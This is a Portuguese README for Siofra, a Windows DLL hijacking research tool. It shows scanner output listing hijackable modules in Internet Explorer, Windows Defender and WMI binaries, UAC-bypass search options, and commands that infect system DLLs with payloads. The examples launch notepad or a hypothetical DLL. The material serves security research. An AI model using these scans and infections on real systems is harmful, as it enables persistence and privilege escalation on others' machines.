
Simula o carregador de PE do Windows para identificar vulnerabilidades de sequestro de DLL, gera DLLs armamentadas com payloads de shellcode e detecta bypasses de elevação automática do UAC.
Siofra é uma ferramenta projetada para identificar e explorar vulnerabilidades de DLL hijacking em programas Windows. Ela é capaz de simular o carregador do Windows para dar visibilidade sobre todas as dependências (e vulnerabilidades correspondentes) de um PE em disco ou, alternativamente, de um arquivo de imagem em memória correspondente a um processo ativo. Mais importante ainda, a ferramenta tem a capacidade de gerar facilmente DLLs para explorar esses tipos de vulnerabilidades por meio de infecção de PE com criação dinâmica de shellcode. Essas DLLs infectadas mantêm o código (DllMain, funções exportadas) bem como os recursos de uma DLL para preservar de forma transparente a funcionalidade da aplicação que as carrega, ao mesmo tempo que permitem ao pesquisador especificar um payload executável para ser executado como um processo separado ou carregado no alvo como um módulo. Adicionalmente, a ferramenta contém métodos automatizados de combinar critérios de auto-elevação do UAC com a funcionalidade acima mencionada para procurar vulnerabilidades de bypass do UAC.
Atualmente, há um número muito grande de vulnerabilidades que esta ferramenta expõe. Ao testar esta ferramenta, encontrei apenas alguns aplicativos que não eram vulneráveis entre centenas que testei. Observe que essas vulnerabilidades podem ser exploradas apesar do SafeDllSearchMode. Um equívoco comum resulta de confundir o "diretório atual" (corrigido com SafeDllSearchMode) com o "diretório do aplicativo" (a pasta que contém o próprio .exe). A grande maioria das vulnerabilidades de DLL hijacking atualmente presentes em programas Windows decorre do diretório do aplicativo (que vem primeiro na ordem de pesquisa do Windows). Alguns destaques estão listados abaixo na saída produzida pelo scanner da ferramenta. A última vez que essas vulnerabilidades foram testadas foi em meados de julho de 2017.
Siofra64.exe --mode file-scan -f "c:\Program Files\Internet Explorer\iexplore.exe" --enum-dependency --dll-hijack
======== c:\Program Files\Internet Explorer\iexplore.exe [64-bit PE] ======== iexplore.exe USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-core-privateprofile-l1-1-1.dll [API set] kernel32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] msvcrt.dll [KnownDLL] api-ms-win-downlevel-shell32-l1-1-0.dll [API set] shcore.dll [KnownDLL] RPCRT4.dll [KnownDLL] combase.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] iertutil.dll [!]
[!] Module iertutil.dll vulnerable at c:\Program Files\Internet Explorer\iertutil.dll (real path: C:\WINDOWS\system32\iertutil.dll)
Siofra64.exe --mode file-scan -f "c:\Program Files\Windows Defender\MpCmdRun.exe" --enum-dependency --dll-hijack
======== c:\Program Files\Windows Defender\MpCmdRun.exe [64-bit PE] ======== MpCmdRun.exe msvcrt.dll [KnownDLL] KERNEL32.dll [KnownDLL] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] OLE32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] SspiCli.dll [!] mpclient.dll [!] CRYPT32.dll [Base] MSASN1.dll [Base] WINTRUST.dll [Base]
[!] Module SspiCli.dll vulnerable at c:\Program Files\Windows Defender\SspiCli.dll (real path: C:\WINDOWS\system32\SspiCli.dll)
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\wbem\wmiprvse.exe" --enum-dependency --dll-hijack
======== c:\WINDOWS\System32\wbem\wmiprvse.exe [64-bit PE] ======== wmiprvse.exe msvcrt.dll [KnownDLL] FastProx.dll [!] wbemcomn.dll [!] bcrypt.dll [!] WS2_32.dll [KnownDLL] api-ms-win-eventing-obsolete-l1-1-0.dll [API set] sechost.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] NCObjAPI.DLL [!]
[!] Module wbemcomn.dll vulnerable at c:\WINDOWS\System32\wbem\wbemcomn.dll (real path: C:\WINDOWS\system32\wbemcomn.dll) [!] Module bcrypt.dll vulnerable at c:\WINDOWS\System32\wbem\bcrypt.dll (real path: C:\WINDOWS\system32\bcrypt.dll) [!] Module NCObjAPI.DLL vulnerable at c:\WINDOWS\System32\wbem\NCObjAPI.DLL (real path: C:\WINDOWS\system32\NCObjAPI.DLL)
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\SearchProtocolHost.exe" --enum-dependency --dll-hijack --explicit-loadlibrary
======== c:\WINDOWS\System32\SearchProtocolHost.exe [64-bit PE] ======== SearchProtocolHost.exe msvcrt.dll [KnownDLL] TQUERY.DLL [!] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] bcryptPrimitives.dll [Base] cryptdll.dll [!] api-ms-win-security-lsalookup-l2-1-1.dll [API set] advapi32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] api-ms-win-shell-namespace-l1-1-0.dll [API set] windows.storage.dll [Base] api-ms-win-shlwapi-winrt-storage-l1-1-1.dll [API set] shlwapi.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-appmodel-state-l1-2-0.dll [API set] kernel.appcore.dll [Base] api-ms-win-shcore-path-l1-1-0.dll [API set] shcore.dll [KnownDLL] api-ms-win-power-base-l1-1-0.dll [API set] powrprof.dll [Base] profapi.dll [Base] msfte.dll [Potential explicit Unicode] [!] msTracer.dll [Potential explicit Unicode] [!] Msidle.dll [Potential explicit Unicode] [!] winhttp.dll [Potential explicit Unicode] [!]
[!] Module msfte.dll vulnerable at C:\WINDOWS\system32\msfte.dll (real path: Unknown) [!] Module msTracer.dll vulnerable at C:\WINDOWS\system32\msTracer.dll (real path: Unknown)
As capacidades desta ferramenta podem ser divididas em 3 categorias separadas, cada uma correspondendo a um dos modos de execução desta ferramenta.
Quando está no modo de infecção, a ferramenta é capaz de gerar cópias infectadas de arquivos DLL de 32 e 64 bits. Esses arquivos infectados são capazes de sequestrar o fluxo de execução de um aplicativo alvo quando são carregados durante a inicialização do processo, causando o carregamento de uma DLL de payload ou a execução de um executável de payload antes da execução do ponto de entrada do aplicativo alvo.
Quando está no modo de varredura de arquivos, a ferramenta pode receber um caminho de arquivo executável ou uma pasta (que será pesquisada em busca de arquivos executáveis, opcionalmente com recursão), que terá recursivamente suas importações PE, importações de carga atrasada, API sets, dependências de assemblies e bibliotecas carregadas explicitamente enumeradas e processadas para determinar o caminho no qual cada uma será carregada durante a inicialização do processo em tempo de execução. Com essas informações, a ferramenta é capaz de identificar módulos vulneráveis a hijacking. Durante o processamento do PE e a simulação do carregador, a ferramenta é capaz de lidar com: 1. Módulos importados usando a seção primária de importações do PE. 2. Módulos importados via carga atrasada. 3. Resolução de dependências de assemblies WinSxS (o recurso de manifesto do PE é analisado, os IDs de dependência do assembly são extraídos e o caminho do módulo WinSxS é identificado usando uma implementação personalizada). 4. Módulos carregados explicitamente, importados via LoadLibrary em tempo de execução. 5. Resolução de API sets de todos os tipos de importação acima. Isso é alcançado por meio de uma implementação personalizada de um analisador para as estruturas de dados não documentadas encontradas em ApiSetSchema.dll (observe que apenas as versões 2, 4 e 6 foram testadas). 6. Pesquisa de módulos importados específicos por nome. 7. Identificação de componentes do Windows que podem ser aproveitados para ataques de bypass de UAC (os critérios de auto-elevação do UAC são aplicados a um PE alvo especificado de forma automatizada e, em seguida, usados em conjunto com um ataque de hijacking, se houver um presente). 8. Detecção e filtragem automáticas de dependências de módulos que não são vulneráveis com base em: * KnownDLLs * Status de DLL isenta ("Base"). Kernelbase.dll, ntdll.dll, etc. * Mecanismo de segurança de substituição de manifesto (usado pela Microsoft no sysprep.exe)
Quando está no modo de varredura de memória, a ferramenta pode enumerar nomes/IDs de processos locais ou receber um ID de processo para analisar. Em vez de analisar o arquivo de imagem correspondente ao PID fornecido em disco, a ferramenta enumerará os módulos atualmente carregados no processo e identificará quais deles podem estar vulneráveis a hijacking. Isso é útil em casos em que um executável em disco é empacotado/ofuscado e suas importações não podem ser identificadas por meio da análise do cabeçalho PE.
Para exibir as informações de uso da ferramenta, basta executá-la sem parâmetros (saída mostrada abaixo). É muito importante usar a compilação apropriada da ferramenta (32 ou 64 bits) para o alvo desejado, dependendo se é um arquivo PE de 32 bits ou de 64 bits. Da mesma forma, a versão de 32 bits da ferramenta só pode enumerar e/ou ter como alvo processos de 32 bits (Wow64 em um sistema operacional x64), e a versão de 64 bits só pode enumerar e/ou ter como alvo processos de 64 bits. Esse princípio se aplica tanto à varredura (Siofra64.exe ignorará PEs de 32 bits e Siofra32.exe ignorará PEs de 64 bits) quanto à infecção de PE. Siofra32.exe deve ser usado para infectar DLLs de 32 bits e Siofra64.exe deve ser usado para infectar DLLs de 64 bits.
Quando a versão de 32 bits da ferramenta é executada em sistemas x64, o redirecionamento de caminho do Wow64 é explicitamente desabilitado pela ferramenta, o que significa que, se você tiver como alvo \Windows\System32\notepad.exe, será um PE de 64 bits (e, portanto, \Windows\Syswow64\notepad.exe deve ser usado em vez disso). Da mesma forma, se você tiver como alvo \Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe, será um PE de 64 bits e, portanto, \Program Files (x86)\Common Files\microsoft shared\MSInfo\msinfo32.exe deve ser usado em vez disso.
Siofra version 1.13 usage: Siofra32.exe --mode [Supported modes: "file-scan", "mem-scan" and "infect"] -v [Optional. Output verbosity level] Verbosity levels: 0 - No output 1 - Only critical success/failure status (default) 2 - Additional status details for success/failure status, including discarded PEs 3 - Everything File scan mode: -f [File or directory to scan] -r [Optional. Recursive scan] --signed [Optional. Process only signed binaries] --delayload [Optional. Include delayload imports in dependency list] --explicit-loadlibrary [Optional. Include potentially explicit imports in dependency list (these are *.dll strings which may have been called via LoadLibrary(Ex)A/W] --auto-elevate [Optional. Scan only auto-elevate binaries] Memory scan mode: --pid [Target process ID to scan. When not specified, a list of either 32 or 64-bit process names/PIDs will be enumerated (corresponding to either the 32 or 64-bit version of this tool)] Any scan mode: --enum-dependency [Enumerate dependencies] --show-unmapped-apiset [Optional. Include API sets which failed to map to a module from output (ignored by default)] --dll-hijack [Enumerate DLL hijacking vulns] --find-module [Optional. Scan dependencies for a specific module. Note that this excludes KnownDLLs] Infect mode: -f [DLL file to infect] -o [Output file] --payload-path [Path of DLL to be loaded into infected DLL at runtime, or path of executable to be launched at runtime] --payload-type [The type of payload specified in the parasite payload path. This can be "process" (generally indicating a exe) or "library" (generally indicating a DLL)]
Analisando toda a unidade pessoal em busca de programas de 32 bits vulneráveis a DLL hijacking usando importações padrão ou de carga atrasada por meio de seus cabeçalhos PE.
Siofra32.exe --mode file-scan -f "C:/" -r --enum-dependency --dll-hijack --delayload
Analisando a pasta do aplicativo Windows Defender em uma versão x64 do Windows em busca de módulos vulneráveis carregados por meio da tabela de importação padrão em seu cabeçalho PE.
Siofra64.exe --mode file-scan -f "C:\Program Files\Windows Defender" -r --enum-dependency --dll-hijack
Analisando o programa Java Update Scheduler de 32 bits em uma versão x64 do Windows em busca de módulos vulneráveis carregados por qualquer canal conhecido (importações padrão ou de carga atrasada, WinSxS, LoadLibrary).
Siofra32.exe --mode file-scan -f "C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe" --enum-dependency --dll-hijack --delayload --explicit-loadlibrary
Analisando a pasta do Windows (e todas as suas subpastas) em busca de módulos vulneráveis (importados por meio da tabela de importação padrão no cabeçalho PE) em programas de 64 bits que possam ser usados para um ataque de bypass de UAC (assinados pela Microsoft com um manifesto de auto-elevação).
Siofra64.exe --mode file-scan -f "C:\Windows" -r --enum-dependency --dll-hijack --auto-elevate --signed
Infectando uma cópia de 32 bits de WININET.dll (copiada de \Windows\SysWOW64\WININET.dll para .\WININET_original.dll) com um implante que iniciará um novo processo notepad quando carregada durante a inicialização do processo por um programa vulnerável. É importante observar que simplesmente carregar uma cópia infectada dessa DLL (via LoadLibrary, por exemplo) não acionará o payload. As DLLs infectadas só funcionam no contexto de um módulo vulnerável carregado por meio da seção de importações padrão de seu processo host.
Siofra32.exe --mode infect -f WININET_original.dll -o WININET.dll --payload-type process --payload-path c:\windows\system32\notepad.exe
Infectando uma cópia de 64 bits de USERENV.dll (copiada de \Windows\System32\USERENV.dll para .\USERENV_original.dll) com um implante que carregará um payload hipotético de DLL armazenado em C:\Payload.dll. É importante observar que todas as DLLs carregadas por um processo de 64 bits devem ser DLLs de 64 bits, e todas as DLLs carregadas por um processo de 32 bits devem ser DLLs de 32 bits. Portanto, nesse cenário hipotético, Payload.dll precisaria ser um arquivo PE de 64 bits para ser carregada com sucesso pelo implante em USERENV.dll.
Siofra64.exe --mode infect -f USERENV_original.dll -o USERENV.dll --payload-type library --payload-path "C:\Payload.dll"
Decidi tornar parte desta ferramenta de código aberto para ajudar outros pesquisadores de segurança a entender os detalhes técnicos deste projeto. Especificamente, forneci código-fonte em assembly para um dos shellcodes de implante de 64 bits (para infecção de DLL PE de 64 bits ao especificar um tipo de payload "process").
Detalhes sobre outros aspectos técnicos da ferramenta e detalhes do sistema operacional relacionados ao carregador/ordem de pesquisa do Windows, UAC, WinSxS etc. podem ser encontrados no PDF deste projeto.
Siofra é licenciada sob a licença GPL 3. Consulte LICENSE.MD para obter detalhes.
Forrest Williams - [email protected] / [email protected]